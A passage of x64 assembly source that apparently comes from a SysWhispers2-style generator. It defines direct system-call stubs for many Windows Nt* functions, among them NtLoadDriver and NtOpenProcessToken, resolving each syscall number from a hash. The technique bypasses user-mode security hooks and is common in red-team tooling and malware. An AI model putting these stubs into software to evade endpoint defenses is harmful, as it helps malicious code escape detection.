syscall ; Invoke system call.
ret
NtFreeUserPhysicalPages ENDP
NtFreezeRegistry PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0021974E5h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtFreezeRegistry ENDP
NtFreezeTransactions PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 04BDBA84Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtFreezeTransactions ENDP
NtGetCachedSigningLevel PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D09BD404h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtGetCachedSigningLevel ENDP
NtGetCompleteWnfStateSubscription PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 07D2A8B61h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtGetCompleteWnfStateSubscription ENDP
NtGetContextThread PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 003A04718h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtGetContextThread ENDP
NtGetCurrentProcessorNumber PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00CB22010h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtGetCurrentProcessorNumber ENDP
NtGetCurrentProcessorNumberEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 04EA3161Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtGetCurrentProcessorNumberEx ENDP
NtGetDevicePowerState PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 000996A96h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtGetDevicePowerState ENDP
NtGetMUIRegistryInfo PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 04CE47841h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtGetMUIRegistryInfo ENDP
NtGetNextProcess PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00297030Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtGetNextProcess ENDP
NtGetNextThread PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0128DCD36h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtGetNextThread ENDP
NtGetNlsSectionPtr PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 05313A072h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtGetNlsSectionPtr ENDP
NtGetNotificationResourceManager PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03B9EE1D2h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtGetNotificationResourceManager ENDP
NtGetWriteWatch PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A68FF628h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtGetWriteWatch ENDP
NtImpersonateAnonymousToken PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 087A572ADh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtImpersonateAnonymousToken ENDP
NtImpersonateThread PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 008AF969Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtImpersonateThread ENDP
NtInitializeEnclave PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0FA3CFAD6h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtInitializeEnclave ENDP
NtInitializeNlsFiles PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 020954D6Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtInitializeNlsFiles ENDP
NtInitializeRegistry PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00E9D140Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtInitializeRegistry ENDP
NtInitiatePowerAction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00C97EFC7h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtInitiatePowerAction ENDP
NtIsSystemResumeAutomatic PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01420D102h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtIsSystemResumeAutomatic ENDP
NtIsUILanguageComitted PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0E58C9357h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtIsUILanguageComitted ENDP
NtListenPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 07CF0136Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtListenPort ENDP
NtLoadDriver PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D8942BE9h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtLoadDriver ENDP
NtLoadEnclaveData PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0840AD0B8h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtLoadEnclaveData ENDP
NtLoadHotPatch PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 066F8997Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtLoadHotPatch ENDP
NtLoadKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 09B289EB4h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtLoadKey ENDP
NtLoadKey2 PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 02FB3C5AAh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtLoadKey2 ENDP
NtLoadKeyEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0BB9CC966h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtLoadKeyEx ENDP
NtLockFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 018832A14h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtLockFile ENDP
NtLockProductActivationKeys PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 08716B2BCh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtLockProductActivationKeys ENDP
NtLockRegistryKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 04389622Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtLockRegistryKey ENDP
NtLockVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 04B9F732Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtLockVirtualMemory ENDP
NtMakePermanentObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 004D83D95h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtMakePermanentObject ENDP
NtMakeTemporaryObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0603E6EA3h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtMakeTemporaryObject ENDP
NtManagePartition PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0B0682E61h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtManagePartition ENDP
NtMapCMFModule PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 070DE6068h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtMapCMFModule ENDP
NtMapUserPhysicalPages PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01F822C3Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtMapUserPhysicalPages ENDP
NtMapViewOfSectionEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 008924E2Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtMapViewOfSectionEx ENDP
NtModifyBootEntry PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01D84F5E3h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtModifyBootEntry ENDP
NtModifyDriverEntry PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 005978D86h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtModifyDriverEntry ENDP
NtNotifyChangeDirectoryFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03A98C29Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtNotifyChangeDirectoryFile ENDP
NtNotifyChangeDirectoryFileEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0E4072D41h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtNotifyChangeDirectoryFileEx ENDP
NtNotifyChangeKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 02BD32A48h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtNotifyChangeKey ENDP
NtNotifyChangeMultipleKeys PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0AACADB0Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtNotifyChangeMultipleKeys ENDP
NtNotifyChangeSession PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0400F469Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtNotifyChangeSession ENDP
NtOpenEnlistment PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D192EE39h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenEnlistment ENDP
NtOpenEventPair PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0F45611C1h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenEventPair ENDP
NtOpenIoCompletion PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 002980237h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenIoCompletion ENDP
NtOpenJobObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0E73F93A0h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenJobObject ENDP
NtOpenKeyEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D99EEB24h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenKeyEx ENDP
NtOpenKeyTransacted PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0EB5D0BD9h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenKeyTransacted ENDP
NtOpenKeyTransactedEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 07A842E59h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenKeyTransactedEx ENDP
NtOpenKeyedEvent PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0789858CCh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenKeyedEvent ENDP
NtOpenMutant PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01C5419CDh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenMutant ENDP
NtOpenObjectAuditAlarm PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 028AEEF86h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenObjectAuditAlarm ENDP
NtOpenPartition PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0C1A92FFAh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenPartition ENDP
NtOpenPrivateNamespace PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 013B0DC02h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenPrivateNamespace ENDP
NtOpenProcessToken PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0C851CCCBh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenProcessToken ENDP
NtOpenRegistryTransaction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0FAEE15B6h ; Load function hash into ECX.
